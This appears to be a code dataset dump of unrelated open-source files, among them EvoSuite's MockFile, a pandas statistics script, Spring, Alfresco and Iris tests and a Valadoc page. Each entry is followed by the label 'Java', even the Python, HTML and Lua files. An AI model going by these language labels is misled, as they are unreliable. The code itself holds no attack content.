public MockFile(URI uri) {
super(uri);
}
/*
* TODO: Java 7
*
* there is only one method in File that depends on Java 7:
*
* public Path toPath()
*
*
* but if we include it here, we will break compatibility with Java 6.
* Once we drop such backward compatibility, we will need to override
* such method
*/
/*
* --------- static methods ------------------
*
* recall: it is not possible to override static methods.
* In the SUT, all calls to those static methods of File, eg File.foo(),
* will need to be replaced with EvoFile.foo()
*/
public static File[] listRoots() {
if(! MockFramework.isEnabled()){
return File.listRoots();
}
File[] roots = File.listRoots();
MockFile[] mocks = new MockFile[roots.length];
for(int i=0; i<roots.length; i++){
mocks[i] = new MockFile(roots[i].getAbsolutePath());
}
return mocks;
}
public static File createTempFile(String prefix, String suffix, File directory)
throws IOException{
if(! MockFramework.isEnabled()){
return File.createTempFile(prefix, suffix, directory);
}
VirtualFileSystem.getInstance().throwSimuledIOExceptionIfNeeded("");
String path = VirtualFileSystem.getInstance().createTempFile(prefix, suffix, directory);
if(path==null){
throw new MockIOException();
}
return new MockFile(path);
}
public static File createTempFile(String prefix, String suffix)
throws IOException {
return createTempFile(prefix, suffix, null);
}
// -------- modified methods ----------------
@Override
public int compareTo(File pathname) {
if(! MockFramework.isEnabled()){
return super.compareTo(pathname);
}
return new File(getAbsolutePath()).compareTo(pathname);
}
@Override
public File getParentFile() {
if(! MockFramework.isEnabled()){
return super.getParentFile();
}
String p = this.getParent();
if (p == null) return null;
return new MockFile(p);
}
@Override
public File getAbsoluteFile() {
if(! MockFramework.isEnabled()){
return super.getAbsoluteFile();
}
String absPath = getAbsolutePath();
return new MockFile(absPath);
}
@Override
public File getCanonicalFile() throws IOException {
if(! MockFramework.isEnabled()){
return super.getCanonicalFile();
}
String canonPath = getCanonicalPath();
VirtualFileSystem.getInstance().throwSimuledIOExceptionIfNeeded(getAbsolutePath());
return new MockFile(canonPath);
}
@Override
public boolean canRead() {
if(! MockFramework.isEnabled()){
return super.canRead();
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
return file.isReadPermission();
}
@Override
public boolean setReadOnly() {
if(! MockFramework.isEnabled()){
return super.setReadOnly();
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
file.setReadPermission(true);
file.setExecutePermission(false);
file.setWritePermission(false);
return true;
}
@Override
public boolean setReadable(boolean readable, boolean ownerOnly) {
if(! MockFramework.isEnabled()){
return super.setReadable(readable, ownerOnly);
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
file.setReadPermission(readable);
return true;
}
@Override
public boolean canWrite() {
if(! MockFramework.isEnabled()){
return super.canWrite();
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
return file.isWritePermission();
}
@Override
public boolean setWritable(boolean writable, boolean ownerOnly) {
if(! MockFramework.isEnabled()){
return super.setWritable(writable, ownerOnly);
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
file.setWritePermission(writable);
return true;
}
@Override
public boolean setExecutable(boolean executable, boolean ownerOnly) {
if(! MockFramework.isEnabled()){
return super.setExecutable(executable, ownerOnly);
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
file.setExecutePermission(executable);
return true;
}
@Override
public boolean canExecute() {
if(! MockFramework.isEnabled()){
return super.canExecute();
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
return file.isExecutePermission();
}
@Override
public boolean exists() {
if(! MockFramework.isEnabled()){
return super.exists();
}
return VirtualFileSystem.getInstance().exists(getAbsolutePath());
}
@Override
public boolean isDirectory() {
if(! MockFramework.isEnabled()){
return super.isDirectory();
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
return file.isFolder();
}
@Override
public boolean isFile() {
if(! MockFramework.isEnabled()){
return super.isFile();
}
return !isDirectory();
}
@Override
public boolean isHidden() {
if(! MockFramework.isEnabled()){
return super.isHidden();
}
if(getName().startsWith(".")){
//this is not necessarily true in Windows
return true;
} else {
return false;
}
}
@Override
public boolean setLastModified(long time) {
if(! MockFramework.isEnabled()){
return super.setLastModified(time);
}
if (time < 0){
throw new MockIllegalArgumentException("Negative time");
}
FSObject target = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(target==null){
return false;
}
return target.setLastModified(time);
}
@Override
public long lastModified() {
if(! MockFramework.isEnabled()){
return super.lastModified();
}
FSObject target = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(target==null){
return 0;
}
return target.getLastModified();
}
@Override
public long length() {
if(! MockFramework.isEnabled()){
return super.length();
}
FSObject target = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(target==null){
return 0;
}
if(target.isFolder() || target.isDeleted()){
return 0;
}
VFile file = (VFile) target;
return file.getDataSize();
}
//following 3 methods are never used in SF110
@Override
public long getTotalSpace() {
if(! MockFramework.isEnabled()){
return super.getTotalSpace();
}
return 0; //TODO
}
@Override
public long getFreeSpace() {
if(! MockFramework.isEnabled()){
return super.getFreeSpace();
}
return 0; //TODO
}
@Override
public long getUsableSpace() {
if(! MockFramework.isEnabled()){
return super.getUsableSpace();
}
return 0; //TODO
}
@Override
public boolean createNewFile() throws IOException {
if(! MockFramework.isEnabled()){
return super.createNewFile();
}
VirtualFileSystem.getInstance().throwSimuledIOExceptionIfNeeded(getAbsolutePath());
return VirtualFileSystem.getInstance().createFile(getAbsolutePath());
}
@Override
public boolean delete() {
if(! MockFramework.isEnabled()){
return super.delete();
}
return VirtualFileSystem.getInstance().deleteFSObject(getAbsolutePath());
}
@Override
public boolean renameTo(File dest) {
if(! MockFramework.isEnabled()){
return super.renameTo(dest);
}
boolean renamed = VirtualFileSystem.getInstance().rename(
this.getAbsolutePath(),
dest.getAbsolutePath());
return renamed;
}
@Override
public boolean mkdir() {
if(! MockFramework.isEnabled()){
return super.mkdir();
}
String parent = this.getParent();
if(parent==null || !VirtualFileSystem.getInstance().exists(parent)){
return false;
}
return VirtualFileSystem.getInstance().createFolder(getAbsolutePath());
}
@Override
public void deleteOnExit() {
if(! MockFramework.isEnabled()){
super.deleteOnExit();
}
/*
* do nothing, as anyway no actual file is created
*/
}
@Override
public String[] list() {
if(! MockFramework.isEnabled()){
return super.list();
}
if(!isDirectory() || !exists()){
return null;
} else {
VFolder dir = (VFolder) VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
return dir.getChildrenNames();
}
}
@Override
public File[] listFiles() {
if(! MockFramework.isEnabled()){
return super.listFiles();
}
String[] ss = list();
if (ss == null) return null;
int n = ss.length;
MockFile[] fs = new MockFile[n];
for (int i = 0; i < n; i++) {
fs[i] = new MockFile(this,ss[i]);
}
return fs;
}
@Override
public File[] listFiles(FileFilter filter) {
if(! MockFramework.isEnabled()){
return super.listFiles(filter);
}
String ss[] = list();
if (ss == null) return null;
ArrayList<File> files = new ArrayList<File>();
for (String s : ss) {
File f = new MockFile(this,s);
if ((filter == null) || filter.accept(f))
files.add(f);
}
return files.toArray(new File[files.size()]);
}
@Override
public String getCanonicalPath() throws IOException {
if(! MockFramework.isEnabled()){
return super.getCanonicalPath();
}
VirtualFileSystem.getInstance().throwSimuledIOExceptionIfNeeded(getAbsolutePath());
return super.getCanonicalPath();
}
@Override
public URL toURL() throws MalformedURLException {
if(! MockFramework.isEnabled() || !RuntimeSettings.useVNET){
return super.toURL();
}
URL url = super.toURL();
return MockURL.URL(url.toString());
}
// -------- unmodified methods --------------
@Override
public String getName(){
return super.getName();
}
@Override
public String getParent() {
return super.getParent();
}
@Override
public String getPath() {
return super.getPath();
}
@Override
public boolean isAbsolute() {
return super.isAbsolute();
}
@Override
public String getAbsolutePath() {
return super.getAbsolutePath();
}
@Override
public URI toURI() {
return super.toURI(); //no need of VNET here
}
@Override
public String[] list(FilenameFilter filter) {
//no need to mock it, as it uses the mocked list()
return super.list(filter);
}
@Override
public boolean mkdirs() {
//no need to mock it, as all methods it calls are mocked
return super.mkdirs();
}
@Override
public boolean setWritable(boolean writable) {
return super.setWritable(writable); // it calls mocked method
}
@Override
public boolean setReadable(boolean readable) {
return super.setReadable(readable); //it calls mocked method
}
@Override
public boolean setExecutable(boolean executable) {
return super.setExecutable(executable); // it calls mocked method
}
// ------- Object methods -----------
@Override
public boolean equals(Object obj) {
return super.equals(obj);
}
@Override
public int hashCode() {
return super.hashCode();
}
@Override
public String toString() {
return super.toString();
}
}
| Java |
"""
Copyright (C) 2013 Matthew Woodruff
This script is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This script is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License
along with this script. If not, see <http://www.gnu.org/licenses/>.
===========================================================
Coming in: one of 36 algo/problem combinations. 50 seeds in
one file. Also the _Sobol file specifying the
parameterization for each row, as well as the parameters
file itself.
Going out: stats: mean, quantile, variance
grouped by parameterization
grouped by some or all 2d combinations of
parameters
"""
import argparse
import pandas
import numpy
import re
import os
import copy
def is_quantile(stat):
return re.match("q[0-9][0-9]?$", stat)
def is_stat(stat):
if stat in ["mean", "variance", "min", "max", "q100"]:
return stat
elif is_quantile(stat):
return stat
else:
raise argparse.ArgumentTypeError(
"Invalid statistic {0}".format(stat))
def get_args():
parser = argparse.ArgumentParser()
parser.add_argument("data",
type=argparse.FileType("r"),
help="data file to be summarized."
"Should have columns seed, "\
"set, and metrics columns.")
parser.add_argument("parameterizations",
type=argparse.FileType("r"),
help="file containing parameter"\
"izations. Number of param"\
"eterizations should be the "\
"same as number of rows per "\
"seed in the data file."
)
parser.add_argument("parameters",
type=argparse.FileType("r"),
help="file describing parameters. "\
"Should have as many rows as "\
"parameterizations file has "\
"columns."
)
stats = ["mean", "variance", "q10", "q50", "q90"]
parser.add_argument("-s", "--stats", nargs="+",
default = stats, type = is_stat,
help="statistics to compute")
parser.add_argument("-g", "--group", nargs="+",
help="parameters by which to "\
"group. Names should be "\
"found in the parameters "\
"file. "
)
parser.add_argument("-d", "--deltas",
help="If group is specified, "\
"deltas may be used to impose "\
"grid boxes on the summary "\
"rather than using point "\
"values.",
nargs="+", type = float
)
parser.add_argument("-o", "--output-directory",
default="/gpfs/scratch/mjw5407/"
"task1/stats/"
)
return parser.parse_args()
def compute(data, stat):
if stat == "mean":
return data.mean()
if stat == "variance":
return data.var()
if is_quantile(stat):
quantile = float(stat[1:]) / 100.0
if quantile == 0.0:
return data.min()
return data.quantile(quantile)
if stat == "max" or stat == "q100":
return data.max()
if stat == "min":
return data.min()
def analyze(data, stats, group=None, deltas=None):
results = []
if group is None:
group = ["Set"]
togroupby = copy.copy(group)
ii = 0
if deltas is None:
togroupby = group
else:
while ii < len(group) and ii < len(deltas):
colname = "grid_{0}".format(group[ii])
gridnumbers = numpy.floor(data[group[ii]].apply(
lambda val: val / deltas[ii]))
data[colname] = gridnumbers.apply(
lambda val: val * deltas[ii])
togroupby[ii] = colname
ii += 1
print "analyzing grouped by {0}".format(group)
gb = data.groupby(togroupby)
for stat in stats:
print "computing {0}".format(stat)
tag = "{0}_{1}".format("_".join(group), stat)
results.append((tag, compute(gb, stat)))
return results
def write_result(infn, result, outputdir):
fn = "_".join([result[0], os.path.basename(infn)])
fn = re.sub("\.hv$", "", fn)
fn = os.path.join(outputdir, fn)
print "writing {0}".format(fn)
result[1].to_csv(fn, sep=" ", index=True)
def cli():
args = get_args()
data = pandas.read_table(args.data, sep=" ")
parameters = pandas.read_table(
args.parameters, sep=" ",
names=["name","low","high"],
header=None)
param_names = parameters["name"].values
parameterizations = pandas.read_table(
args.parameterizations,
sep=" ",
names = param_names,
header = None)
data = data.join(parameterizations, on=["Set"],
how="outer")
if args.deltas is not None:
deltas = args.deltas
else:
deltas = []
results = analyze(data, args.stats, args.group, deltas)
for result in results:
write_result(args.data.name, result,
args.output_directory)
if __name__ == "__main__":
cli()
# vim:ts=4:sw=4:expandtab:ai:colorcolumn=60:number:fdm=indent
| Java |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package optas.gui.wizard;
/**
*
* @author chris
*/
public class ComponentWrapper {
public String componentName;
public String componentContext;
public boolean contextComponent;
public ComponentWrapper(String componentName, String componentContext, boolean contextComponent) {
this.componentContext = componentContext;
this.componentName = componentName;
this.contextComponent = contextComponent;
}
@Override
public String toString() {
if (contextComponent) {
return componentName;
}
return /*componentContext + "." + */ componentName;
}
}
| Java |
package org.jta.testspringhateoas.hello;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import static org.springframework.hateoas.mvc.ControllerLinkBuilder.*;
@RestController
public class GreetingController {
private static final String TEMPLATE = "Hello, %s!";
@RequestMapping("/greeting")
public HttpEntity<Greeting> greeting(
@RequestParam(value = "name", required = false, defaultValue = "World") String name) {
Greeting greeting = new Greeting(String.format(TEMPLATE, name));
greeting.add(linkTo(methodOn(GreetingController.class).greeting(name)).withSelfRel());
return new ResponseEntity<Greeting>(greeting, HttpStatus.OK);
}
}
| Java |
<?xml version="1.0" encoding="utf-8"?>
<html>
<head>
<meta charset="UTF-8"/>
<title>System.Net.DecompressionMethods – VSharp – Vala Binding Reference</title>
<link href="../style.css" rel="stylesheet" type="text/css"/><script src="../scripts.js" type="text/javascript">
</script>
</head>
<body>
<div class="site_header">System.Net.DecompressionMethods – VSharp Reference Manual</div>
<div class="site_body">
<div class="site_navigation">
<ul class="navi_main">
<li class="package_index"><a href="../index.html">Packages</a></li>
</ul>
<hr class="navi_hr"/>
<ul class="navi_main">
<li class="package"><a href="index.htm">VSharp</a></li>
</ul>
<hr class="navi_hr"/>
<ul class="navi_main">
<li class="namespace"><a href="System.html">System</a></li>
</ul>
<hr class="navi_hr"/>
<ul class="navi_main">
<li class="namespace"><a href="System.Net.html">Net</a></li>
</ul>
<hr class="navi_hr"/>
<ul class="navi_main">
<li class="enum">DecompressionMethods</li>
</ul>
<hr class="navi_hr"/>
<ul class="navi_main">
<li class="enumvalue"><a href="System.Net.DecompressionMethods.Deflate.html">Deflate</a></li>
<li class="enumvalue"><a href="System.Net.DecompressionMethods.GZip.html">GZip</a></li>
<li class="enumvalue"><a href="System.Net.DecompressionMethods.None.html">None</a></li>
</ul>
</div>
<div class="site_content">
<h1 class="main_title">DecompressionMethods</h1>
<hr class="main_hr"/>
<h2 class="main_title">Description:</h2>
<div class="main_code_definition">[ <span class="main_type">Flags</span> ]<br/><span class="main_keyword">public</span> <span class="main_keyword">enum</span> <b><span class="enum">DecompressionMethods</span></b>
</div><br/>
<div class="namespace_note"><b>Namespace:</b> <a href="System.Net.html">System.Net</a>
</div>
<div class="package_note"><b>Package:</b> <a href="index.htm">VSharp</a>
</div>
<h2 class="main_title">Content:</h2>
<h3 class="main_title">Enum values:</h3>
<ul class="navi_inline">
<li class="enumvalue"><a href="System.Net.DecompressionMethods.None.html">None</a> - </li>
<li class="enumvalue"><a href="System.Net.DecompressionMethods.GZip.html">GZip</a> - </li>
<li class="enumvalue"><a href="System.Net.DecompressionMethods.Deflate.html">Deflate</a> - </li>
</ul>
</div>
</div><br/>
<div class="site_footer">Generated by <a href="http://www.valadoc.org/">Valadoc</a>
</div>
</body>
</html> | Java |
/**
* Copyright (C) 2013-2014 Kametic <epo.jemba@kametic.com>
*
* Licensed under the GNU LESSER GENERAL PUBLIC LICENSE, Version 3, 29 June 2007;
* or any later version
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.gnu.org/licenses/lgpl-3.0.txt
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package io.nuun.kernel.core.internal;
import static io.nuun.kernel.core.NuunCore.createKernel;
import static io.nuun.kernel.core.NuunCore.newKernelConfiguration;
import static org.fest.assertions.Assertions.assertThat;
import io.nuun.kernel.api.Kernel;
import io.nuun.kernel.core.pluginsit.dummy1.DummyPlugin;
import io.nuun.kernel.core.pluginsit.dummy23.DummyPlugin2;
import io.nuun.kernel.core.pluginsit.dummy23.DummyPlugin3;
import io.nuun.kernel.core.pluginsit.dummy4.DummyPlugin4;
import io.nuun.kernel.core.pluginsit.dummy5.DummyPlugin5;
import java.util.concurrent.CountDownLatch;
import org.junit.Test;
public class KernelMulticoreTest
{
@Test
public void dependee_plugins_that_misses_should_be_source_of_error() throws InterruptedException
{
CountDownLatch startLatch = new CountDownLatch(1);
for (int threadNo = 0; threadNo < 2; threadNo++) {
Thread t = new KernelHolder(startLatch);
t.start();
}
// give the threads chance to start up; we could perform
// initialisation code here as well.
Thread.sleep(200);
startLatch.countDown();
}
static class KernelHolder extends Thread
{
public KernelHolder(CountDownLatch startLatch)
{
}
@SuppressWarnings("unchecked")
@Override
public void run()
{
// try
{
System.out.println("Before");
// startLatch.await();
KernelCore underTest;
DummyPlugin4 plugin4 = new DummyPlugin4();
underTest = (KernelCore) createKernel(
//
newKernelConfiguration() //
.params (
DummyPlugin.ALIAS_DUMMY_PLUGIN1 , "WAZAAAA",
DummyPlugin.NUUNROOTALIAS , "internal,"+KernelCoreTest.class.getPackage().getName()
)
);
assertThat(underTest.name()).startsWith(Kernel.KERNEL_PREFIX_NAME);
System.out.println(">" + underTest.name());
underTest.addPlugins( DummyPlugin2.class);
underTest.addPlugins( DummyPlugin3.class);
underTest.addPlugins( plugin4);
underTest.addPlugins( DummyPlugin5.class);
underTest.init();
assertThat(underTest.isInitialized()).isTrue();
System.out.println(">" + underTest.name() + " initialized = " + underTest.isInitialized());
underTest.start();
assertThat(underTest.isStarted()).isTrue();
System.out.println(">" + underTest.name() + " started = " + underTest.isStarted());
underTest.stop();
}
// catch (InterruptedException e)
// {
// e.printStackTrace();
// }
}
}
}
| Java |
/*
* This file is part of RskJ
* Copyright (C) 2019 RSK Labs Ltd.
* (derived from ethereumJ library, Copyright (c) 2016 <ether.camp>)
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package co.rsk.pcc.blockheader;
import co.rsk.pcc.ExecutionEnvironment;
import org.ethereum.core.Block;
import org.ethereum.core.CallTransaction;
/**
* This implements the "getCoinbaseAddress" method
* that belongs to the BlockHeaderContract native contract.
*
* @author Diego Masini
*/
public class GetCoinbaseAddress extends BlockHeaderContractMethod {
private final CallTransaction.Function function = CallTransaction.Function.fromSignature(
"getCoinbaseAddress",
new String[]{"int256"},
new String[]{"bytes"}
);
public GetCoinbaseAddress(ExecutionEnvironment executionEnvironment, BlockAccessor blockAccessor) {
super(executionEnvironment, blockAccessor);
}
@Override
public CallTransaction.Function getFunction() {
return function;
}
@Override
protected Object internalExecute(Block block, Object[] arguments) {
return block.getCoinbase().getBytes();
}
}
| Java |
--Copyright (C) 2010 <SWGEmu>
--This File is part of Core3.
--This program is free software; you can redistribute
--it and/or modify it under the terms of the GNU Lesser
--General Public License as published by the Free Software
--Foundation; either version 2 of the License,
--or (at your option) any later version.
--This program is distributed in the hope that it will be useful,
--but WITHOUT ANY WARRANTY; without even the implied warranty of
--MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
--See the GNU Lesser General Public License for
--more details.
--You should have received a copy of the GNU Lesser General
--Public License along with this program; if not, write to
--the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
--Linking Engine3 statically or dynamically with other modules
--is making a combined work based on Engine3.
--Thus, the terms and conditions of the GNU Lesser General Public License
--cover the whole combination.
--In addition, as a special exception, the copyright holders of Engine3
--give you permission to combine Engine3 program with free software
--programs or libraries that are released under the GNU LGPL and with
--code included in the standard release of Core3 under the GNU LGPL
--license (or modified versions of such code, with unchanged license).
--You may copy and distribute such a system following the terms of the
--GNU LGPL for Engine3 and the licenses of the other code concerned,
--provided that you include the source code of that other code when
--and as the GNU LGPL requires distribution of source code.
--Note that people who make modified versions of Engine3 are not obligated
--to grant this special exception for their modified versions;
--it is their choice whether to do so. The GNU Lesser General Public License
--gives permission to release a modified version without this exception;
--this exception also makes it possible to release a modified version
object_building_poi_dantooine_kunga_large2 = object_building_poi_shared_dantooine_kunga_large2:new {
}
ObjectTemplates:addTemplate(object_building_poi_dantooine_kunga_large2, "object/building/poi/dantooine_kunga_large2.iff")
| Java |
/**
* Copyright (C) 2010-2017 Gordon Fraser, Andrea Arcuri and EvoSuite
* contributors
*
* This file is part of EvoSuite.
*
* EvoSuite is free software: you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as published
* by the Free Software Foundation, either version 3.0 of the License, or
* (at your option) any later version.
*
* EvoSuite is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with EvoSuite. If not, see <http://www.gnu.org/licenses/>.
*/
package org.evosuite.symbolic.vm;
import org.evosuite.symbolic.expr.fp.RealValue;
/**
*
* @author galeotti
*
*/
public final class Fp64Operand implements DoubleWordOperand, RealOperand {
private final RealValue realExpr;
public Fp64Operand(RealValue realExpr) {
this.realExpr = realExpr;
}
public RealValue getRealExpression() {
return realExpr;
}
@Override
public String toString() {
return realExpr.toString();
}
} | Java |
/*
* #%L
* Alfresco Repository
* %%
* Copyright (C) 2005 - 2016 Alfresco Software Limited
* %%
* This file is part of the Alfresco software.
* If the software was purchased under a paid Alfresco license, the terms of
* the paid license agreement will prevail. Otherwise, the software is
* provided under the following open source license terms:
*
* Alfresco is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Alfresco is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with Alfresco. If not, see <http://www.gnu.org/licenses/>.
* #L%
*/
package org.alfresco.util.schemacomp.model;
import static org.junit.Assert.*;
import static org.mockito.Mockito.verify;
import org.alfresco.test_category.BaseSpringTestsCategory;
import org.alfresco.test_category.OwnJVMTestsCategory;
import org.alfresco.util.schemacomp.DbProperty;
import org.junit.Before;
import org.junit.Test;
import org.junit.experimental.categories.Category;
import org.junit.runner.RunWith;
import org.mockito.Mockito;
import org.mockito.junit.MockitoJUnitRunner;
/**
* Tests for the Schema class.
*
* @author Matt Ward
*/
@RunWith(MockitoJUnitRunner.class)
@Category(BaseSpringTestsCategory.class)
public class SchemaTest extends DbObjectTestBase<Schema>
{
private Schema left;
private Schema right;
@Before
public void setUp()
{
left = new Schema("left_schema");
right = new Schema("right_schema");
}
@Override
protected Schema getThisObject()
{
return left;
}
@Override
protected Schema getThatObject()
{
return right;
}
@Override
protected void doDiffTests()
{
// We need to be warned if comparing, for example a version 500 schema with a
// version 501 schema.
inOrder.verify(comparisonUtils).compareSimple(
new DbProperty(left, "version"),
new DbProperty(right, "version"),
ctx);
// In addition to the base class functionality, Schema.diff() compares
// the DbObjects held in the other schema with its own DbObjects.
inOrder.verify(comparisonUtils).compareCollections(left.objects, right.objects, ctx);
}
@Test
public void acceptVisitor()
{
DbObject dbo1 = Mockito.mock(DbObject.class);
left.add(dbo1);
DbObject dbo2 = Mockito.mock(DbObject.class);
left.add(dbo2);
DbObject dbo3 = Mockito.mock(DbObject.class);
left.add(dbo3);
left.accept(visitor);
verify(dbo1).accept(visitor);
verify(dbo2).accept(visitor);
verify(dbo3).accept(visitor);
verify(visitor).visit(left);
}
@Test
public void sameAs()
{
// We have to assume that two schemas are always the same, regardless of name,
// otherwise unless the reference schema has the same name as the target database
// all the comparisons will fail - and users can choose to install databases with any schema
// name they choose.
assertTrue("Schemas should be considered the same", left.sameAs(right));
// Things are always the same as themselves.
assertTrue("Schemas are the same physical object", left.sameAs(left));
assertFalse("A table is not the same as a schema", left.sameAs(new Table("left_schema")));
assertFalse("null is not the same as a schema", left.sameAs(null));
}
}
| Java |
# (C) British Crown Copyright 2014 - 2015, Met Office
#
# This file is part of Iris.
#
# Iris is free software: you can redistribute it and/or modify it under
# the terms of the GNU Lesser General Public License as published by the
# Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Iris is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with Iris. If not, see <http://www.gnu.org/licenses/>.
"""
Test function :func:`iris.fileformats._pyke_rules.compiled_krb.\
fc_rules_cf_fc.build_auxilliary_coordinate`.
"""
from __future__ import (absolute_import, division, print_function)
from six.moves import (filter, input, map, range, zip) # noqa
# import iris tests first so that some things can be initialised before
# importing anything else
import iris.tests as tests
import numpy as np
import mock
from iris.coords import AuxCoord
from iris.fileformats._pyke_rules.compiled_krb.fc_rules_cf_fc import \
build_auxiliary_coordinate
class TestBoundsVertexDim(tests.IrisTest):
def setUp(self):
# Create coordinate cf variables and pyke engine.
points = np.arange(6).reshape(2, 3)
self.cf_coord_var = mock.Mock(
dimensions=('foo', 'bar'),
cf_name='wibble',
standard_name=None,
long_name='wibble',
units='m',
shape=points.shape,
dtype=points.dtype,
__getitem__=lambda self, key: points[key])
self.engine = mock.Mock(
cube=mock.Mock(),
cf_var=mock.Mock(dimensions=('foo', 'bar')),
filename='DUMMY',
provides=dict(coordinates=[]))
# Create patch for deferred loading that prevents attempted
# file access. This assumes that self.cf_bounds_var is
# defined in the test case.
def patched__getitem__(proxy_self, keys):
variable = None
for var in (self.cf_coord_var, self.cf_bounds_var):
if proxy_self.variable_name == var.cf_name:
return var[keys]
raise RuntimeError()
self.deferred_load_patch = mock.patch(
'iris.fileformats.netcdf.NetCDFDataProxy.__getitem__',
new=patched__getitem__)
def test_slowest_varying_vertex_dim(self):
# Create the bounds cf variable.
bounds = np.arange(24).reshape(4, 2, 3)
self.cf_bounds_var = mock.Mock(
dimensions=('nv', 'foo', 'bar'),
cf_name='wibble_bnds',
shape=bounds.shape,
dtype=bounds.dtype,
__getitem__=lambda self, key: bounds[key])
# Expected bounds on the resulting coordinate should be rolled so that
# the vertex dimension is at the end.
expected_bounds = np.rollaxis(bounds, 0, bounds.ndim)
expected_coord = AuxCoord(
self.cf_coord_var[:],
long_name=self.cf_coord_var.long_name,
var_name=self.cf_coord_var.cf_name,
units=self.cf_coord_var.units,
bounds=expected_bounds)
# Patch the helper function that retrieves the bounds cf variable.
# This avoids the need for setting up further mocking of cf objects.
get_cf_bounds_var_patch = mock.patch(
'iris.fileformats._pyke_rules.compiled_krb.'
'fc_rules_cf_fc.get_cf_bounds_var',
return_value=self.cf_bounds_var)
# Asserts must lie within context manager because of deferred loading.
with self.deferred_load_patch, get_cf_bounds_var_patch:
build_auxiliary_coordinate(self.engine, self.cf_coord_var)
# Test that expected coord is built and added to cube.
self.engine.cube.add_aux_coord.assert_called_with(
expected_coord, [0, 1])
# Test that engine.provides container is correctly populated.
expected_list = [(expected_coord, self.cf_coord_var.cf_name)]
self.assertEqual(self.engine.provides['coordinates'],
expected_list)
def test_fastest_varying_vertex_dim(self):
bounds = np.arange(24).reshape(2, 3, 4)
self.cf_bounds_var = mock.Mock(
dimensions=('foo', 'bar', 'nv'),
cf_name='wibble_bnds',
shape=bounds.shape,
dtype=bounds.dtype,
__getitem__=lambda self, key: bounds[key])
expected_coord = AuxCoord(
self.cf_coord_var[:],
long_name=self.cf_coord_var.long_name,
var_name=self.cf_coord_var.cf_name,
units=self.cf_coord_var.units,
bounds=bounds)
get_cf_bounds_var_patch = mock.patch(
'iris.fileformats._pyke_rules.compiled_krb.'
'fc_rules_cf_fc.get_cf_bounds_var',
return_value=self.cf_bounds_var)
# Asserts must lie within context manager because of deferred loading.
with self.deferred_load_patch, get_cf_bounds_var_patch:
build_auxiliary_coordinate(self.engine, self.cf_coord_var)
# Test that expected coord is built and added to cube.
self.engine.cube.add_aux_coord.assert_called_with(
expected_coord, [0, 1])
# Test that engine.provides container is correctly populated.
expected_list = [(expected_coord, self.cf_coord_var.cf_name)]
self.assertEqual(self.engine.provides['coordinates'],
expected_list)
def test_fastest_with_different_dim_names(self):
# Despite the dimension names ('x', and 'y') differing from the coord's
# which are 'foo' and 'bar' (as permitted by the cf spec),
# this should still work because the vertex dim is the fastest varying.
bounds = np.arange(24).reshape(2, 3, 4)
self.cf_bounds_var = mock.Mock(
dimensions=('x', 'y', 'nv'),
cf_name='wibble_bnds',
shape=bounds.shape,
dtype=bounds.dtype,
__getitem__=lambda self, key: bounds[key])
expected_coord = AuxCoord(
self.cf_coord_var[:],
long_name=self.cf_coord_var.long_name,
var_name=self.cf_coord_var.cf_name,
